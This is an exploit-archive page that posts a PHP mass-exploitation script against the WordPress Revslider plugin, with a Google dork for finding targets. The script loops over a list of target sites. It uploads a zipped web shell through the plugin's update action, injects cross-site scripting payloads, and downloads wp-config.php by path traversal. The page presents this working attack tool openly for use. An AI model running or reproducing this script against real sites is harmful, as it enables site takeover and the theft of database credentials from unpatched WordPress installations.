exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Revslider Arbitrary File Upload / Download / XSS

WordPress Revslider Arbitrary File Upload / Download / XSS
Posted Jun 23, 2015
Authored by CaFc Versace

WordPress Revslider plugin suffers from cross site scripting and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss
SHA-256 | 36a172246b28821efbbddd74fa15559539df7db7fe943afe36e9ba491cdc5324

WordPress Revslider Arbitrary File Upload / Download / XSS

Change Mirror Download
#####################################################################################
# Exploit Title : WordPress Revslider Arbitrary File Upload, Download & Cross Site Scripting
# Google Dork : inurl:"/wp-content/plugins/revslider/"
# Date : 21-06-2015
# Exploit Author : CaFc Versace
# Vendor Homepage : http://revolution.themepunch.com/
# Tested on : Windows 7
# Contact : cafc.versace[@]surabayablackhat.org; me[@]dwisiswanto.my.id
#####################################################################################


# Exploit & PoC :
-------------------------------------------------------------------------------------
<?php
/** me@dwisiswanto.my.id **/

/******************************************
First, install PHP CLI
USAGE: php exploit.php list-of-target.txt
******************************************/

$cafc = array(
"file"=>"revslider.zip", // enter a ur shell file into a zip
"xss"=>"<marquee>CaFc Versace was Here", // for xss
"kfg"=>"..\wp-config.php" // for download config
);

function hajar($yuerel, $dataAing=null) {
$cuih = curl_init();
curl_setopt($cuih, CURLOPT_URL, $yuerel);
if ($dataAing != null){
curl_setopt($cuih, CURLOPT_POST, true);
curl_setopt($cuih, CURLOPT_POSTFIELDS, $dataAing);
}
curl_setopt($cuih, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($cuih, CURLOPT_RETURNTRANSFER, true);
curl_setopt($cuih, CURLOPT_SSL_VERIFYPEER, false);
$eks = curl_exec($cuih);
curl_close($cuih);
return $eks;
}

$site = @file_get_contents($argv[1]);
$tumbal = explode("\r\n", $site);
echo "Calculate the target list : " . count($tumbal);
if (!isset($site)) {
echo "Site N/A.";
} else {
foreach ($tumbal as $uri) {
echo "\n------------------------------------";
echo "\nTarget => " . $uri;
echo "\n";
$menta = hajar($uri . "/wp-admin/admin-ajax.php", array(
"action" => "revslider_ajax_action",
"client_action" => "update_plugin",
"update_file" => $cafc['file'])
);
$jason = json_decode($menta, true);
if ($jason['success'] == false || $jason['message'] == "Wrong request") {
echo "\nExploit [update_plugin] => NOT VULNERABLE";
} else {
echo "\nExploit [update_plugin] => SUCCESS";
echo "\n[+] " . $uri . "/wp-content/plugins/revslider/temp/update_extract/revslider/YOUR_FILE.php\n";
}

$menta2 = hajar($uri . "/wp-admin/admin-ajax.php", array(
"action" => "revslider_ajax_action",
"client_action" => "get_captions_css",
"data" => $cafc['xss'])
);
$jasonB = json_decode($menta2, true);
if ($jasonB['success'] == false || $jason['message'] == "Wrong request") {
echo "\nExploit [get_captions_css] => NOT VULNERABLE";
} elseif ($jasonB['success'] == true) {
echo "\nExploit [get_captions_css] => SUCCESS";
echo "\n[+] " . $uri . "/wp-admin/admin-ajax.php?";
echo "action=revslider_ajax_action&";
echo "client_action=get_captions_css";
echo "data=" . urlencode($cafc['xss']) . "\n";
}

$menta3 = hajar($uri . "/wp-admin/admin-ajax.php", array(
"action" => "revslider_ajax_action",
"client_action" => $cafc['xss'])
);
$jasonC = json_decode($menta3, true);
if (preg_match("/wrong ajax action/i", $jasonC['message'])) {
echo "\nExploit [xss] => SUCCESS";
echo "\n[+] " . $uri . "/wp-admin/admin-ajax.php?";
echo "action=revslider_ajax_action";
echo "client_action=" . urlencode($cafc['xss']) . "\n";
} else {
echo "\nExploit [xss] => NOT VULNERABLE";
}

$menta4 = hajar($uri . "/wp-admin/admin-ajax.php", array(
"action" => "revslider_show_image",
"img" => $cafc['kfg']),
$uri);
if ($menta4 == "empty image" || $menta4 == "image file not found" || $menta4 == 0) {
echo "\nExploit [wp-config] => NOT VULNERABLE\n";
} else {
echo "\nExploit [wp-config] => SUCCESS";
echo "\n[+] " . $uri . "/wp-admin/admin-ajax.php?";
echo "action=revslider_show_image";
echo "img=" . $cafc['kfg'] . "\n";
}
}
}
?>
-------------------------------------------------------------------------------------


# Credits :
-------------------------------------------------------------------------------------
CaFc Versace
Thanks : Agency CaFc - Surabaya BlackHat
-------------------------------------------------------------------------------------


./learn to be better
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close